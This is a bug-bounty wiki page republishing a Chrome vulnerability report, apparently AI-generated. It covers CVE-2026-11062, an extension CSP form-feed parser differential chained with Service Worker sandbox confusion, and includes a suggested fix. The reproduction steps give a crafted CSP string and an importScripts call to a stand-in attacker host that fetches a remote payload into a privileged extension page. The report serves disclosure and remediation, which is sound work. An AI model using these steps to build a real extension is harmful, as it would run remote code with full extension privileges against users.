Insufficient policy enforcement in Extensions (CVE-2026-11062)
A parser differential between the extension manifest validator and Blink allows a sandboxed page to retain the extension origin by using a form-feed character in the CSP. A malicious MV3 extension can then register a Service Worker that inherits a relaxed sandbox CSP, fetch remote code, and intercept privileged extension pages, potentially bypassing MV3 remote code restrictions.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: A parser differential between the extension manifest validator and Blink allows sandboxed pages to retain the extension origin using the form-feed character. By registering a Service Worker listed in sandbox.pages, the worker inherits a relaxed sandbox CSP instead of the strict MV3 default. This allows the Service Worker to fetch remote code and intercept privileged extension pages, potentially bypassing MV3 remote code restrictions.
Affected files:
extensions/common/manifest_handlers/csp_info.ccextensions/common/csp_validator.ccextensions/common/manifest_handlers/sandboxed_page_info.cc
Estimated timestamp from git blame: 2025-03-06
Vulnerability Conclusion: A malicious Manifest V3 extension can potentially achieve arbitrary remote code execution within a privileged extension context by chaining a CSP whitespace parsing differential with a Service Worker sandbox path confusion bug.
Technical Context & Analysis: Initial logic and parameters are validated across two core components: the extension CSP validator and the Service Worker registration pipeline.
- CSP Parser Differential: In
extensions/common/csp_validator.cc,kWhitespaceDelimitersis defined as" \t\r\n", omitting the form-feed character (\f/0x0C). Conversely, Blink's network CSP parser (services/network/public/cpp/web_sandbox_flags.cc) correctly uses" \n\t\r\f". An attacker can supply a sandbox CSP token likeallow-same-origin\fx. The manifest validator fails to recognize this asallow-same-originand permits installation. Blink parses it correctly, allowing a sandboxed page (e.g.,sandbox.html) to avoid opaquification and retain the highly-privilegedchrome-extension://[id]/origin. - Service Worker Sandbox Confusion:
extensions::CSPInfo::GetMinimumCSPToAppenddictates the minimum secure CSP for extension resources. If a requested path is listed in the manifest'ssandbox.pages, it returns the user-controlled sandbox CSP instead of the strict MV3 baseline. In MV3, sandbox CSPs are explicitly allowed to contain remote sources.
The Transformation Leap:
Because sandbox.html retains the extension's origin, it is permitted to register a Service Worker at the root scope (/sw.js). By including sw.js in sandbox.pages, the Service Worker boots with the attacker's remote-enabled sandbox CSP. The worker directly executes importScripts('https://attacker.example/payload.js'). This active Service Worker then intercepts fetches for standard extension pages (like popup.html), serving the remote payload directly into a mojom::ContextType::kPrivilegedExtension context, completely bypassing MV3 guarantees.
Potential Reproduction Steps: (Note: These are suggested/potential steps to trigger the vulnerability; our tooling agent does not currently have the ability to run code to provide a functional PoC).
- Create an MV3 extension with the following in
manifest.json:"sandbox": {"pages": ["sandbox.html", "sw.js"]}- A custom CSP:
sandbox allow-scripts allow-same-origin\fx; script-src 'self' 'unsafe-inline' https://attacker.example;
- Open
sandbox.html, which will executenavigator.serviceWorker.register('/sw.js'). - Inside
sw.js, executeimportScripts('https://attacker.example/payload.js')to fetch the remote payload. - The remote payload registers a
fetchevent listener to intercept requests forpopup.htmland respond with malicious HTML/JS. - Open
popup.html. The injected code will execute with full access tochrome.*APIs.
Suggested Fix:
- Patch the Parser Differential: Update
kWhitespaceDelimitersinextensions/common/csp_validator.ccto include the form-feed character (\f), aligning it withkHtmlWhitespaceand the W3C spec. - Enforce SW CSP: Modify
extensions::CSPInfo::GetMinimumCSPToAppendandChromeContentRendererClient::AppendContentSecurityPolicyto strictly enforce the minimum MV3 CSP for any script instantiated as a Service Worker, explicitly ignoringsandbox.pagesinclusions for worker contexts.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the extension CSP validator's whitespace delimiter list omits the form-feed character, while Blink's parser includes it, causing a parsing mismatch that lets a sandboxed page keep the extension origin and register a Service Worker with a relaxed CSP.
Impact
A malicious extension could potentially achieve arbitrary remote code execution within a privileged extension context, bypassing MV3 remote code restrictions.
What the attacker needed
Victim installs a malicious extension; extension uses MV3; attacker controls a remote server
The fix
The parser differential should be fixed by adding the form-feed character to the whitespace delimiters, and the minimum MV3 CSP should be enforced for Service Workers regardless of sandbox.pages.
How it was found
- Create an MV3 extension with a sandbox page and a Service Worker listed in sandbox.pages, and a custom CSP containing a form-feed character.
- Open the sandbox page, which registers the Service Worker.
- Inside the Service Worker, fetch a remote payload using importScripts.
- The remote payload registers a fetch event listener to intercept requests for popup.html.
- Open popup.html, and the injected code executes with full access to chrome.* APIs.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser extension can declare a sandboxed page that is supposed to be isolated from the rest of the extension. The report shows that by adding a special invisible character to a security setting, the page can trick the browser into keeping its full extension privileges. This lets the extension run code from the internet inside a trusted part of the browser, which is normally forbidden.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.